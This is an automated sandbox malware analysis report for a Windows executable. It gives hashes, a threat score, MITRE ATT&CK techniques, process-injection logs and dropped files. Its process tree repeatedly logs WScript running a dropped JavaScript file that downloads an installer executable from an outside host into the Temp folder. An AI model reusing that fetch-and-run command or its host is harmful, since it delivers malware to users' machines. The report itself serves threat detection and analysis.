21725ddd2fb136dbab48fd2e34416baef96101c11394b4498f3aa53f96a06029

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 12:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe
Size

184KB
MD5

347fabf6e4c6acaed907399cc17718ef
SHA1

8f678552dddda116534b01c9fb615b37c47f00df
SHA256

21725ddd2fb136dbab48fd2e34416baef96101c11394b4498f3aa53f96a06029
SHA512

ce3701a7680ad70bb413c31dbfae36a1a210cd58e8053b032b224c04e93b9c782f0581c1eb5b201ad1b2de4bfe9f06d110b2c969b62be46cfc3cb0ed890c9048
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3C:/7BSH8zUB+nGESaaRvoB7FJNndnX

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	2984	WScript.exe
8	2984	WScript.exe
10	2984	WScript.exe
12	2408	WScript.exe
13	2408	WScript.exe
16	1844	WScript.exe
17	1844	WScript.exe
19	1388	WScript.exe
20	1388	WScript.exe
22	2964	WScript.exe
23	2964	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe

description	pid	process	target process
PID 2244 wrote to memory of 2984	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2984	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2984	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2984	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2408	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2408	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2408	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2408	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1844	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1844	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1844	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1844	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1388	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1388	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1388	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 1388	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2964	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2964	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2964	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 2244 wrote to memory of 2964	2244	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2244

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA2C5.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fufA2C5.exe
2⤵
- Blocklisted process makes network request
PID:2984

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA2C5.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fufA2C5.exe
2⤵
- Blocklisted process makes network request
PID:2408

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA2C5.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fufA2C5.exe
2⤵
- Blocklisted process makes network request
PID:1844

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA2C5.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fufA2C5.exe
2⤵
- Blocklisted process makes network request
PID:1388

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA2C5.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fufA2C5.exe
2⤵
- Blocklisted process makes network request
PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
2a8fa256ce6a53132c6e1887aec2dd90

SHA1
3c3712696c81ffbf3f78767fa642115336718db0

SHA256
4372b48ab69f94556f8124623513fe956790e5250372c13577d51de0a309a2a6

SHA512
86c1a4da1b625219443ffa86cf04f4fa477746d0f1ff2de1c8c8605fcb4eed09b9aa3a7e7a64c8ad59c50b2a65bf25d5ef493bf9b06726ecb83aa9519ef9f11b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
3757a4b069180f948f4789e3388e1e9d

SHA1
d5981d749592ef5538b4637e9805badd3dda8116

SHA256
ba5937a2bb6dea4a6be69b7838bea0aaa88191bbf040c213de716da33b66b72f

SHA512
9a3cb0b5b0129f119f0c65e6bedf49da26ae2d454bf5f0143c537d9398bb84a1cb9342788fdbd58377abf76d87dd7003ee32e5e1b58058acab9bdd835a15c2be

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
eaf58d100300de5fcf092cd14828f462

SHA1
13860539b97b51277b221174102bc651e9edcdd5

SHA256
9d0168172c9f2aa50406642fee2fcf08fc2803656824e50ed84a2fb712464055

SHA512
fc1e1d673c6f909332f46fcea67f6ddcacb091d924a1402f63b34b7c5e20152dfa73bcb216618b15a08a9ba5eea6bbd4325dbcd5c0ed01380e018e685c0a733a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
f08575962ab0e285723e5d6808e2723b

SHA1
2556314c0c8b9ab60a403ef6dc3892697412f1a0

SHA256
4ad2cc37084a0a235acdea7d92a8709608581c309dffab0efad42996faa770bd

SHA512
262868bb5541a4aae3d294b57be67fd5f55db54116ac2e1d284ee2091904400b3f7caa234f1eb6ab50cd76a3b4a03073c32e8653e390ace9b15ac1d76226e77e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm
Filesize
40KB

MD5
9fdd1549257b0fcddf3871002a7dfe32

SHA1
14a981d9fa2793e79d53028f2094c82174af9977

SHA256
5bfdf25a832e0f34e92cb32946783735df1073b1d3d02dfdb60f727ec793de14

SHA512
b7d2d68ff604d2eb14ea465b7f6fcef5b411ef4ed4a639398fb12a22d6e255731609f6c5294fb1876d2772a8101b45f1dc575c3d081d7066b702e505d18ec962

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm
Filesize
40KB

MD5
36f75ce03708639a95dfcb11a24113e7

SHA1
90089c2af0206019556264b98a8d08b10a409a2e

SHA256
46cd2754df666caf2b5af8f58c6d3a1aac34f0376ee23606b9238c8ff8bf9e07

SHA512
c42ffbb25925859e8e0881423ff2d062ac431e2ec5da4725da34edce4091a259c32c547b0dcaafd571ea7e8de7785f3f16b7b6bc576ee73a9192e449f2d09764

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm
Filesize
40KB

MD5
b5808816e954178f0e57fcfa12f59230

SHA1
90e12117c713af164312664d1bc7e579d1486b0a

SHA256
c7c049f348fa2c0c4cf003710c132703cd57ef09baa3da015ecf97e87afce04f

SHA512
9be84541c8c57f2dda8ee38770de21c3fb6dfcf2083bbd9b9552f9b7f4c6d5af26ef5778f46e5c5f02eeae007d44b91d2f2b817619cb43d2976c19078a6a87ae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm
Filesize
40KB

MD5
bfb14825ce7f3ae7f40f2ad36104b2d4

SHA1
9e14729290f5aa3651cd577bf06c9aceac2b792b

SHA256
c6e8600de0df3f632c261dfca99d4c643c16ae66fd831792a81009f14cdfaa0e

SHA512
b764149a98f159e37038b1bf0e1098644e4c18039e3d1c6f6c9eb67a3f5bc7e20d262693aba8f9e206ae1414487cdeff35a1f9cfaeaddf405fd27792394a0c21

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm
Filesize
40KB

MD5
ec7dd6c4733d0ca7b12fa4f258a99c1d

SHA1
2ac4d07d71513701997277524ada5707c23768dc

SHA256
a5174693e356b2d51768ae29ca94784e09694f452c8243eb3decf73b24f41697

SHA512
d03614e8f858f6645303dbee4f913456c7eb834bf39255f868eb05a3ddf3f2a60cb2bad1281a89ff84e56b3c0abf4fd3a49ae432e777bc177f5eb9670f0c589d

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabEB58.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2DF.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fufA2C5.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\GTR0HBZR.txt
Filesize
177B

MD5
4c5e5d671d9d2bad5a8200ee7e1994bf

SHA1
12f349748e3b45e371e57d1426ef80f76e43938a

SHA256
504b1b45dc64fd8d1525d05e90e347df55e3451198d40817f425a60049868367

SHA512
fc230c07a57626d10fe05935fff6d3c6f905cf7936d3f8c3c403953b09ec9c76c67922fbe2167379adf48ff14ce579a8964aaee05d724eb6fd05544569f0d067

Download Submit